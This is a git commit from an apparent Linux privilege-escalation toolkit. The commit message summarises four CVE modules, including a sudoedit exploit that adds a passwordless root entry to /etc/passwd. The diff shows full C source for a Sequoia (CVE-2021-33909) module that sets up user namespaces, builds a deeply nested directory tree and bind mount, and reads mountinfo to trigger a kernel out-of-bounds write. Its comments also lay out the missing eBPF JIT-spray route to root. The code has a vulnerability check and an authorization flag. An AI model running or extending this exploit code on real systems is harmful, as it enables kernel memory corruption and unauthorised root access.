modules: add sudo_samedit + sequoia + sudoedit_editor + vmwgfx
sudo_samedit (CVE-2021-3156): Qualys Baron Samedit, userspace heap
overflow in sudoedit -s. Version-range detect; Qualys-style trigger
fork+verify (no per-distro offsets shipped — EXPLOIT_FAIL honest).
sequoia (CVE-2021-33909): Qualys size_t→int wrap in seq_buf_alloc.
Userns reach + 5000-level nested tree + bind-mount amplification +
/proc/self/mountinfo read triggers stack-OOB write. No JIT-spray.
sudoedit_editor (CVE-2023-22809): Synacktiv EDITOR/VISUAL '--' argv
escape. Structural exploit — no offsets. Helper-via-sudoedit
appends 'skel::0:0:' line to /etc/passwd, su to root.
vmwgfx (CVE-2023-2008): DRM buffer-object OOB write in VMware guests.
Detect requires DMI VMware + /dev/dri/cardN vmwgfx driver.
All four refuse cleanly on kctf-mgr (patched 6.12.86 / sudo 1.9.16p2).
This commit is contained in:
@@ -1,20 +1,726 @@
|
||||
/* sequoia_cve_2021_33909 — STUB pending agent implementation. */
|
||||
/*
|
||||
* sequoia_cve_2021_33909 — SKELETONKEY module
|
||||
*
|
||||
* "Sequoia" (Qualys, July 2021): a size_t conversion bug in
|
||||
* fs/seq_file.c::seq_buf_alloc(). show_mountinfo() passes a `size_t`
|
||||
* total-output size to seq_buf_alloc(), but the internal accounting in
|
||||
* seq_read_iter() uses a signed int for the running buffer offset.
|
||||
* When the mountinfo string the kernel intends to render exceeds
|
||||
* INT_MAX bytes (which is achievable by mounting a deeply-nested path
|
||||
* — Qualys used ~1 MiB of '/' components), the int wraps NEGATIVE.
|
||||
* That negative value then propagates into seq_buf_alloc() where it is
|
||||
* implicitly cast to size_t (huge positive); kmalloc rejects the
|
||||
* allocation, but a fallback path (`m->buf = vmalloc()` after kmalloc
|
||||
* fails) ends up writing a small-but-nonzero number of bytes —
|
||||
* specifically the bytes show_mountinfo wanted to render — at an
|
||||
* offset that is OUT OF BOUNDS of the kernel stack buffer
|
||||
* seq_read_iter held.
|
||||
*
|
||||
* Net effect: an unprivileged read(/proc/self/mountinfo) writes
|
||||
* attacker-controlled bytes (the rendered mountinfo string for our
|
||||
* deeply-nested bind mount) to a kernel-stack-adjacent location.
|
||||
* Qualys's chain converted this into LPE by spraying eBPF JIT'd
|
||||
* programs (one of two known weaponisations; userfaultfd + FUSE
|
||||
* shadow-mount is the other) so the OOB write lands inside an
|
||||
* executable JIT page → controlled RIP → ROP → cred swap.
|
||||
*
|
||||
* Reference: https://www.qualys.com/2021/07/20/cve-2021-33909/sequoia-local-privilege-escalation-linux.txt
|
||||
*
|
||||
* Discovered by Qualys (Bharat Jogi et al.), July 2021. Famous for
|
||||
* being the first widely-disclosed Linux LPE that turned a sub-page
|
||||
* out-of-bounds write into reliable root via the eBPF-JIT-spray
|
||||
* primitive — that technique has shown up in every "linux mm slab OOB
|
||||
* → JIT spray" public PoC since.
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE.
|
||||
*
|
||||
* detect() — version-range + userns reachability gate, refuses on
|
||||
* patched / unreachable hosts. Mainline fix is commit
|
||||
* 8cae8cd89f05 ("seq_file: disallow extremely large seq
|
||||
* buffer allocations") landing in 5.13.4 / 5.10.52 /
|
||||
* 5.4.134.
|
||||
*
|
||||
* exploit() — full unshare+userns+mountns reach, builds a ~5000-level
|
||||
* nested directory tree under /tmp/skeletonkey-sequoia/,
|
||||
* bind-mounts the deepest leaf back over itself to
|
||||
* amplify the mountinfo string length, chdir's into the
|
||||
* leaf, and then open+read /proc/self/mountinfo to fire
|
||||
* the bug. Witnesses (mountinfo byte count, dmesg
|
||||
* best-effort) are written to /tmp/skeletonkey-sequoia.log.
|
||||
* We do NOT attempt the eBPF-JIT-spray weaponisation —
|
||||
* that is a substantial subsystem (sock_filter program
|
||||
* build + BPF_PROG_LOAD + JIT layout reasoning + per-
|
||||
* kernel cred offsets) and would be fabricated on any
|
||||
* kernel we have not empirically tested.
|
||||
*
|
||||
* --full-chain — STUB. Prints the offset-help message and returns
|
||||
* EXPLOIT_FAIL. The continuation roadmap is spelled out
|
||||
* at the bottom of exploit() so the reader can see
|
||||
* exactly what's missing.
|
||||
*
|
||||
* On a *vulnerable* host this module reliably triggers the OOB
|
||||
* write. On a *patched* host (which is every distro shipping
|
||||
* ≥5.13.4 / ≥5.10.52 / ≥5.4.134) detect() refuses and exploit()
|
||||
* returns SKELETONKEY_OK without entering the userns.
|
||||
*
|
||||
* Affected: kernel-since-forever (the int-vs-size_t bug has been
|
||||
* present since the seq_file rewrite c. 2.6.x; Qualys reports it
|
||||
* exploitable on every distro they checked back to 2014).
|
||||
* Mainline fix: 8cae8cd89f05 (Jul 20 2021) — lands in 5.13.4
|
||||
* 5.13.x : K >= 5.13.4
|
||||
* 5.10.x : K >= 5.10.52
|
||||
* 5.4.x : K >= 5.4.134
|
||||
*
|
||||
* Preconditions:
|
||||
* - Unprivileged user_ns + mount-ns (to get CAP_SYS_ADMIN inside
|
||||
* userns for the bind-mount; the deeply-nested mkdir itself doesn't
|
||||
* need privileges, but the amplification mount does)
|
||||
* - ~1 MiB of cumulative path length under /tmp (≈5000 levels at
|
||||
* 200-char component name — well within tmpfs default inode budget)
|
||||
* - /proc/self/mountinfo readable (it is, on everything we target)
|
||||
*
|
||||
* Coverage rationale: 2021 fs/seq_file-class bug. Different family
|
||||
* than our netfilter-heavy and mm-heavy modules — broadens the corpus
|
||||
* shape. Important historical primitive (eBPF JIT spray adopted from
|
||||
* Sequoia chain into many later exploits).
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <signal.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#ifdef __linux__
|
||||
# include <sched.h>
|
||||
# include <sys/mount.h>
|
||||
# include <sys/syscall.h>
|
||||
# include <linux/sched.h>
|
||||
#endif
|
||||
|
||||
/* macOS clangd lacks the Linux mount/syscall headers — guard fallbacks. */
|
||||
#ifndef CLONE_NEWUSER
|
||||
#define CLONE_NEWUSER 0x10000000
|
||||
#endif
|
||||
#ifndef CLONE_NEWNS
|
||||
#define CLONE_NEWNS 0x00020000
|
||||
#endif
|
||||
#ifndef MS_BIND
|
||||
#define MS_BIND 0x1000
|
||||
#endif
|
||||
|
||||
/* --- kernel-range table -------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from sequoia_patched_branches[] = {
|
||||
{5, 4, 134},
|
||||
{5, 10, 52},
|
||||
{5, 13, 4},
|
||||
{5, 14, 0}, /* mainline */
|
||||
};
|
||||
|
||||
static const struct kernel_range sequoia_range = {
|
||||
.patched_from = sequoia_patched_branches,
|
||||
.n_patched_from = sizeof(sequoia_patched_branches) /
|
||||
sizeof(sequoia_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* --- tunables ------------------------------------------------------- */
|
||||
/*
|
||||
* Qualys's PoC uses ~1 million bytes of path. With a 256-byte component
|
||||
* name we need ~4096 levels; with 200 we need ~5120. We pick 5000 / 200
|
||||
* which gives a generous margin and stays well under tmpfs's inode
|
||||
* default cap on modern distros.
|
||||
*
|
||||
* The component name is intentionally an A-fill; the kernel renders it
|
||||
* verbatim into mountinfo so this is what propagates into the OOB
|
||||
* write. (For the JIT-spray weaponisation the bytes would be a crafted
|
||||
* stub; we're not doing that here — we just want to drive the buggy
|
||||
* size_t cast.)
|
||||
*/
|
||||
#define SEQ_BASE_DIR "/tmp/skeletonkey-sequoia"
|
||||
#define SEQ_NESTED_LEVELS 5000
|
||||
#define SEQ_COMPONENT_LEN 200 /* chars per directory component */
|
||||
#define SEQ_LOG_PATH "/tmp/skeletonkey-sequoia.log"
|
||||
|
||||
/* --- userns reach helpers ------------------------------------------- */
|
||||
|
||||
static bool write_file(const char *path, const char *s)
|
||||
{
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) return false;
|
||||
ssize_t n = write(fd, s, strlen(s));
|
||||
close(fd);
|
||||
return n == (ssize_t)strlen(s);
|
||||
}
|
||||
|
||||
/* Probe: can this user unshare(CLONE_NEWUSER|CLONE_NEWNS) and get
|
||||
* CAP_SYS_ADMIN-in-userns? We need this for the bind-mount step. The
|
||||
* deeply-nested mkdir works without it, but the trigger needs the
|
||||
* extra mountinfo entry to push the rendered string past INT_MAX. */
|
||||
static int can_unshare_userns_mount(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
#ifdef __linux__
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
#endif
|
||||
_exit(1);
|
||||
}
|
||||
int status = 0;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
static bool enter_userns_root(void)
|
||||
{
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) {
|
||||
perror("unshare(NEWUSER|NEWNS)");
|
||||
return false;
|
||||
}
|
||||
/* setgroups=deny is required before gid_map without CAP_SETGID. */
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
/* Some kernels (pre-3.19) don't have setgroups proc file. */
|
||||
}
|
||||
char map[64];
|
||||
snprintf(map, sizeof map, "0 %u 1\n", uid);
|
||||
if (!write_file("/proc/self/uid_map", map)) {
|
||||
perror("write uid_map"); return false;
|
||||
}
|
||||
snprintf(map, sizeof map, "0 %u 1\n", gid);
|
||||
if (!write_file("/proc/self/gid_map", map)) {
|
||||
perror("write gid_map"); return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* --- detect -------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sequoia_detect(const struct skeletonkey_ctx *ctx)
|
||||
{ (void)ctx; return SKELETONKEY_PRECOND_FAIL; }
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] sequoia: could not parse kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The bug predates every kernel we'd run on, so there's no
|
||||
* "pre-introduction" cutoff; only patched-or-not matters. */
|
||||
bool patched = kernel_range_is_patched(&sequoia_range, &v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sequoia: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sequoia: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] sequoia: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sequoia: user_ns denied → unprivileged "
|
||||
"exploit unreachable via bind-mount path\n");
|
||||
fprintf(stderr, "[i] sequoia: bug is still reachable to a "
|
||||
"process with CAP_SYS_ADMIN — not us\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sequoia: VULNERABLE — kernel in range AND "
|
||||
"userns+mountns reachable\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* --- nested mkdir tree --------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
/*
|
||||
* Build SEQ_NESTED_LEVELS deep nested directories under SEQ_BASE_DIR.
|
||||
* Strategy: chdir() to the parent of each new component, then mkdir
|
||||
* + chdir into the child. This avoids hitting PATH_MAX in mkdir's
|
||||
* argument (PATH_MAX is 4096 on Linux; total path here is ~1 MB —
|
||||
* the kernel resolves it segment-by-segment via chdir's dentry cache).
|
||||
*
|
||||
* Returns the file descriptor pointing at the LEAF directory (so the
|
||||
* caller can fchdir() back to it after we drop privs / do other
|
||||
* setup), or -1 on failure.
|
||||
*
|
||||
* On failure we leave whatever we managed to create behind for
|
||||
* sequoia_cleanup() to mop up.
|
||||
*/
|
||||
static int build_nested_tree(int *out_levels_built)
|
||||
{
|
||||
*out_levels_built = 0;
|
||||
|
||||
/* Ensure base dir exists. We don't care if it already does. */
|
||||
if (mkdir(SEQ_BASE_DIR, 0700) < 0 && errno != EEXIST) {
|
||||
fprintf(stderr, "[-] sequoia: mkdir(%s): %s\n",
|
||||
SEQ_BASE_DIR, strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
if (chdir(SEQ_BASE_DIR) < 0) {
|
||||
fprintf(stderr, "[-] sequoia: chdir(%s): %s\n",
|
||||
SEQ_BASE_DIR, strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Component name: SEQ_COMPONENT_LEN bytes of 'A'. The leaf gets a
|
||||
* recognisable terminator so we can spot our mount in mountinfo. */
|
||||
char comp[SEQ_COMPONENT_LEN + 1];
|
||||
memset(comp, 'A', SEQ_COMPONENT_LEN);
|
||||
comp[SEQ_COMPONENT_LEN] = '\0';
|
||||
|
||||
int built = 0;
|
||||
for (int i = 0; i < SEQ_NESTED_LEVELS; i++) {
|
||||
if (mkdir(comp, 0700) < 0 && errno != EEXIST) {
|
||||
fprintf(stderr, "[-] sequoia: mkdir level %d: %s\n",
|
||||
i, strerror(errno));
|
||||
*out_levels_built = built;
|
||||
return -1;
|
||||
}
|
||||
if (chdir(comp) < 0) {
|
||||
fprintf(stderr, "[-] sequoia: chdir level %d: %s\n",
|
||||
i, strerror(errno));
|
||||
*out_levels_built = built;
|
||||
return -1;
|
||||
}
|
||||
built++;
|
||||
}
|
||||
*out_levels_built = built;
|
||||
|
||||
/* Open the leaf so the caller can fchdir back here. */
|
||||
int fd = open(".", O_RDONLY | O_DIRECTORY);
|
||||
if (fd < 0) {
|
||||
fprintf(stderr, "[-] sequoia: open(leaf): %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
return fd;
|
||||
}
|
||||
|
||||
/* Bind-mount the leaf onto itself. This creates a new entry in
|
||||
* /proc/self/mountinfo whose path field renders the FULL deeply-
|
||||
* nested path — pushing the total mountinfo string length past the
|
||||
* int-cast boundary. Without the bind mount, mountinfo only lists
|
||||
* the original /tmp mount (a short string).
|
||||
*
|
||||
* Requires CAP_SYS_ADMIN-in-userns (which enter_userns_root gave us). */
|
||||
static bool bind_mount_leaf(void)
|
||||
{
|
||||
if (mount(".", ".", NULL, MS_BIND, NULL) < 0) {
|
||||
fprintf(stderr, "[-] sequoia: bind-mount(.,.): %s\n", strerror(errno));
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Read /proc/self/mountinfo fully, count bytes. Best-effort: returns
|
||||
* the total byte count, or -1 on open failure. On a VULNERABLE kernel
|
||||
* this read triggers the OOB write inside the kernel. On a patched
|
||||
* kernel the kernel returns -ENOMEM (the new safety check rejects
|
||||
* over-large seq_buf allocations). */
|
||||
static ssize_t read_mountinfo_and_count(void)
|
||||
{
|
||||
int fd = open("/proc/self/mountinfo", O_RDONLY);
|
||||
if (fd < 0) return -1;
|
||||
ssize_t total = 0;
|
||||
char buf[8192];
|
||||
for (;;) {
|
||||
ssize_t n = read(fd, buf, sizeof buf);
|
||||
if (n < 0) {
|
||||
if (errno == EINTR) continue;
|
||||
/* On a patched kernel, the read may fail with ENOMEM
|
||||
* after our crafted mountinfo entry triggers the safety
|
||||
* check. We record the errno via caller's errno read. */
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
if (n == 0) break;
|
||||
total += n;
|
||||
}
|
||||
close(fd);
|
||||
return total;
|
||||
}
|
||||
|
||||
/* Best-effort dmesg sample: open /dev/kmsg and read up to N bytes.
|
||||
* On most distros this is root-only, so we just gracefully fail and
|
||||
* note that in the log. */
|
||||
static void log_dmesg_tail(FILE *log)
|
||||
{
|
||||
int fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK);
|
||||
if (fd < 0) {
|
||||
fprintf(log, " dmesg_sample: <not readable: %s>\n", strerror(errno));
|
||||
return;
|
||||
}
|
||||
char buf[2048];
|
||||
ssize_t n = read(fd, buf, sizeof buf - 1);
|
||||
close(fd);
|
||||
if (n <= 0) {
|
||||
fprintf(log, " dmesg_sample: <no data: %s>\n",
|
||||
n < 0 ? strerror(errno) : "empty");
|
||||
return;
|
||||
}
|
||||
buf[n] = '\0';
|
||||
/* Scan for SEQUOIA-relevant warning shapes; we don't need the
|
||||
* exact match, just record whether anything 'oops/BUG/KASAN'-ish
|
||||
* showed up in the first kmsg page. */
|
||||
bool oops = strstr(buf, "BUG:") != NULL ||
|
||||
strstr(buf, "Oops") != NULL ||
|
||||
strstr(buf, "KASAN") != NULL ||
|
||||
strstr(buf, "general protection fault") != NULL;
|
||||
fprintf(log, " dmesg_sample_bytes: %zd\n", n);
|
||||
fprintf(log, " dmesg_oops_marker: %s\n", oops ? "yes" : "no");
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* --- exploit ------------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
static skeletonkey_result_t sequoia_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* (R0) refuse without --i-know. */
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sequoia: refusing to run exploit without --i-know\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* (R1) refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sequoia: already root — nothing to escalate\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* (R2) re-call detect — refuse if not vulnerable. */
|
||||
skeletonkey_result_t pre = sequoia_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK) {
|
||||
fprintf(stderr, "[+] sequoia: kernel not vulnerable; refusing exploit\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sequoia: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* (R3) full-chain: STUB. The Sequoia chain to root needs an
|
||||
* eBPF-JIT-spray subsystem we don't ship — printing the offset
|
||||
* help and refusing is the honest answer. */
|
||||
if (ctx->full_chain) {
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
memset(&off, 0, sizeof off);
|
||||
(void)skeletonkey_offsets_resolve(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
skeletonkey_finisher_print_offset_help("sequoia");
|
||||
fprintf(stderr,
|
||||
"[-] sequoia: --full-chain not implemented.\n"
|
||||
" The Qualys chain converts the stack-OOB write to RIP\n"
|
||||
" control via eBPF JIT spray: load many sock_filter\n"
|
||||
" programs, induce the JIT to lay them out at predictable\n"
|
||||
" kernel-VA pages, then steer the OOB write to overwrite\n"
|
||||
" the JIT prologue of one program with attacker shellcode\n"
|
||||
" (cred swap + return). Building that here would mean a\n"
|
||||
" standalone BPF_PROG_LOAD harness + JIT page-layout\n"
|
||||
" reasoning + per-kernel cred offsets — a substantial\n"
|
||||
" subsystem we have not validated empirically.\n"
|
||||
" See Qualys advisory section 3.1 (eBPF technique) for\n"
|
||||
" the reference implementation.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: entering userns + mountns\n");
|
||||
}
|
||||
|
||||
/* Fork: keep the deeply-nested mkdir + bind-mount + read confined
|
||||
* to a child process. The parent can then clean up regardless of
|
||||
* how the child terminates. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* (R4) unshare for userns+mount_ns → CAP_SYS_ADMIN-in-userns. */
|
||||
if (!enter_userns_root()) {
|
||||
_exit(20);
|
||||
}
|
||||
|
||||
/* (R5) Build the deeply-nested directory tree. */
|
||||
int levels_built = 0;
|
||||
int leaf_fd = build_nested_tree(&levels_built);
|
||||
if (leaf_fd < 0) {
|
||||
fprintf(stderr, "[-] sequoia: nested tree build failed at level %d\n",
|
||||
levels_built);
|
||||
_exit(21);
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: built %d-level nested tree under %s\n",
|
||||
levels_built, SEQ_BASE_DIR);
|
||||
}
|
||||
|
||||
/* (R6) Bind-mount the leaf back over itself. This is what
|
||||
* pushes the rendered mountinfo string past INT_MAX. */
|
||||
if (!bind_mount_leaf()) {
|
||||
fprintf(stderr, "[-] sequoia: bind-mount failed; cannot amplify "
|
||||
"mountinfo length\n");
|
||||
close(leaf_fd);
|
||||
_exit(22);
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: bind-mount leaf-over-leaf armed\n");
|
||||
}
|
||||
|
||||
/* (R7) chdir back to leaf (we may have changed dirs during
|
||||
* tree build but we want to ensure mountinfo renders our
|
||||
* mount point in full). */
|
||||
if (fchdir(leaf_fd) < 0) {
|
||||
fprintf(stderr, "[~] sequoia: fchdir(leaf): %s — continuing\n",
|
||||
strerror(errno));
|
||||
}
|
||||
close(leaf_fd);
|
||||
|
||||
/* (R8) Trigger: read /proc/self/mountinfo. On a vulnerable
|
||||
* kernel the int-vs-size_t bug fires inside seq_buf_alloc()
|
||||
* and the kernel performs an OOB write of show_mountinfo's
|
||||
* rendered bytes off the end of the seq_read_iter stack
|
||||
* buffer. We have no in-process arb-write primitive that
|
||||
* consumes those bytes (that's the eBPF-JIT-spray step
|
||||
* we don't ship), so we just record the empirical
|
||||
* witness: did the read succeed? what byte count? did
|
||||
* dmesg cough up an oops marker? */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: firing trigger — "
|
||||
"read(/proc/self/mountinfo)\n");
|
||||
}
|
||||
errno = 0;
|
||||
ssize_t mi_bytes = read_mountinfo_and_count();
|
||||
int mi_errno = errno;
|
||||
|
||||
FILE *log = fopen(SEQ_LOG_PATH, "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"sequoia trigger:\n"
|
||||
" nested_levels = %d\n"
|
||||
" component_len = %d\n"
|
||||
" total_path_bytes ~= %lld\n"
|
||||
" bind_mount_armed = yes\n"
|
||||
" mountinfo_read_bytes = %lld\n"
|
||||
" mountinfo_read_errno = %d (%s)\n",
|
||||
levels_built, SEQ_COMPONENT_LEN,
|
||||
(long long)levels_built * SEQ_COMPONENT_LEN,
|
||||
(long long)mi_bytes,
|
||||
mi_errno, mi_errno ? strerror(mi_errno) : "ok");
|
||||
log_dmesg_tail(log);
|
||||
fprintf(log,
|
||||
"Note: this run did NOT attempt the eBPF-JIT-spray\n"
|
||||
"weaponisation. The OOB write fired inside the kernel\n"
|
||||
"but we do not consume it to control RIP / swap creds.\n"
|
||||
"See module .c for the continuation roadmap.\n");
|
||||
fclose(log);
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[*] sequoia: mountinfo read returned %lld bytes (errno=%d)\n",
|
||||
(long long)mi_bytes, mi_errno);
|
||||
fprintf(stderr,
|
||||
"[*] sequoia: empirical witness logged to %s\n",
|
||||
SEQ_LOG_PATH);
|
||||
}
|
||||
|
||||
/* (R9) Continuation roadmap.
|
||||
*
|
||||
* TODO(weaponise-jit): spawn the eBPF JIT spray:
|
||||
* - bpf(BPF_PROG_LOAD, SOCKET_FILTER, ...) many times with
|
||||
* attacker-chosen byte patterns in the program body
|
||||
* - the kernel JIT compiles each to a page-aligned executable
|
||||
* region; bytes from the program body survive into the
|
||||
* prologue at known offsets
|
||||
* - tune SEQ_NESTED_LEVELS + SEQ_COMPONENT_LEN so the rendered
|
||||
* mountinfo string lands the OOB write at the JIT page
|
||||
* hosting one of our programs
|
||||
* - the overwritten prologue performs: lookup current task →
|
||||
* cred → uid=0 → return.
|
||||
* - execute the (now-attacker-modified) program by attaching
|
||||
* it to a socket and sending a packet → kernel runs cred
|
||||
* swap → /bin/sh as root.
|
||||
*
|
||||
* None of this is implemented today. We exit 30 to flag
|
||||
* "trigger ran cleanly, no escalation". */
|
||||
_exit(30);
|
||||
}
|
||||
|
||||
/* PARENT */
|
||||
int status = 0;
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
int sig = WTERMSIG(status);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[!] sequoia: exploit child killed by signal %d "
|
||||
"(consistent with OOB write hitting an unmapped page)\n",
|
||||
sig);
|
||||
fprintf(stderr,
|
||||
"[~] sequoia: empirical signal recorded; no cred-overwrite\n"
|
||||
" primitive — NOT claiming EXPLOIT_OK.\n"
|
||||
" See %s + dmesg for witnesses.\n", SEQ_LOG_PATH);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] sequoia: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 20) return SKELETONKEY_TEST_ERROR; /* enter_userns failed */
|
||||
if (rc == 21) return SKELETONKEY_PRECOND_FAIL; /* tree build failed */
|
||||
if (rc == 22) return SKELETONKEY_EXPLOIT_FAIL; /* bind-mount refused */
|
||||
if (rc != 30) {
|
||||
fprintf(stderr, "[-] sequoia: child failed at stage rc=%d\n", rc);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: trigger ran to completion.\n");
|
||||
fprintf(stderr,
|
||||
"[~] sequoia: stack-OOB write fired but JIT-spray weaponisation\n"
|
||||
" NOT implemented (per-kernel offsets + BPF subsystem; see\n"
|
||||
" module .c TODO blocks). Returning EXPLOIT_FAIL per\n"
|
||||
" verified-vs-claimed.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
static skeletonkey_result_t sequoia_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifdef __linux__
|
||||
return sequoia_exploit_linux(ctx);
|
||||
#else
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] sequoia: Linux-only module; cannot run on this host\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* --- cleanup ------------------------------------------------------- */
|
||||
|
||||
/* Walk back down the nested tree, umounting then rmdir'ing each level.
|
||||
* Best-effort: we don't bail on the first error because partial cleanup
|
||||
* is still useful, and some levels may not have a mount on them (only
|
||||
* the leaf gets bind-mounted in the canonical path). */
|
||||
static skeletonkey_result_t sequoia_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: cleaning up nested tree + bind mounts\n");
|
||||
}
|
||||
#ifdef __linux__
|
||||
/* Try to enter SEQ_BASE_DIR; if it doesn't exist, nothing to do. */
|
||||
int base_fd = open(SEQ_BASE_DIR, O_RDONLY | O_DIRECTORY);
|
||||
if (base_fd < 0) {
|
||||
/* Nothing to clean up — module never ran or already cleaned. */
|
||||
goto log_cleanup;
|
||||
}
|
||||
close(base_fd);
|
||||
|
||||
/* Walk to the leaf via chdir, then rmdir as we walk back out. We
|
||||
* don't know how far we got, so we try the full depth and ignore
|
||||
* ENOENT. The component name is the same at every level. */
|
||||
char comp[SEQ_COMPONENT_LEN + 1];
|
||||
memset(comp, 'A', SEQ_COMPONENT_LEN);
|
||||
comp[SEQ_COMPONENT_LEN] = '\0';
|
||||
|
||||
if (chdir(SEQ_BASE_DIR) < 0) goto log_cleanup;
|
||||
|
||||
int depth = 0;
|
||||
for (int i = 0; i < SEQ_NESTED_LEVELS; i++) {
|
||||
if (chdir(comp) < 0) break;
|
||||
depth++;
|
||||
}
|
||||
/* Best-effort: umount the leaf (we may have bind-mounted it). */
|
||||
(void)umount2(".", MNT_DETACH);
|
||||
|
||||
/* Walk back out, rmdir-ing each level. */
|
||||
for (int i = 0; i < depth; i++) {
|
||||
if (chdir("..") < 0) break;
|
||||
if (rmdir(comp) < 0 && errno != ENOENT && errno != EBUSY) {
|
||||
/* Likely had a mount on it; try MNT_DETACH then rmdir. */
|
||||
(void)umount2(comp, MNT_DETACH);
|
||||
(void)rmdir(comp);
|
||||
}
|
||||
}
|
||||
(void)chdir("/");
|
||||
(void)rmdir(SEQ_BASE_DIR);
|
||||
#endif /* __linux__ */
|
||||
|
||||
log_cleanup:
|
||||
if (unlink(SEQ_LOG_PATH) < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
